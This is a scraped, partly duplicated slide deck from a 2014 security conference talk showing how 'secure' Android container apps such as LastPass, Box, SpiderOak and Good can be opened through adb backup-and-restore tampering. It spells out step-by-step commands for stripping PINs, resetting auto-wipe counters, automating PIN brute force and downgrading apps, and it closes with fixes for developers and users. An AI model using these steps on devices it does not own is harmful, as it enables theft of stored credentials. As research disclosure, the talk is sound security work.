  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 21: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 22: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

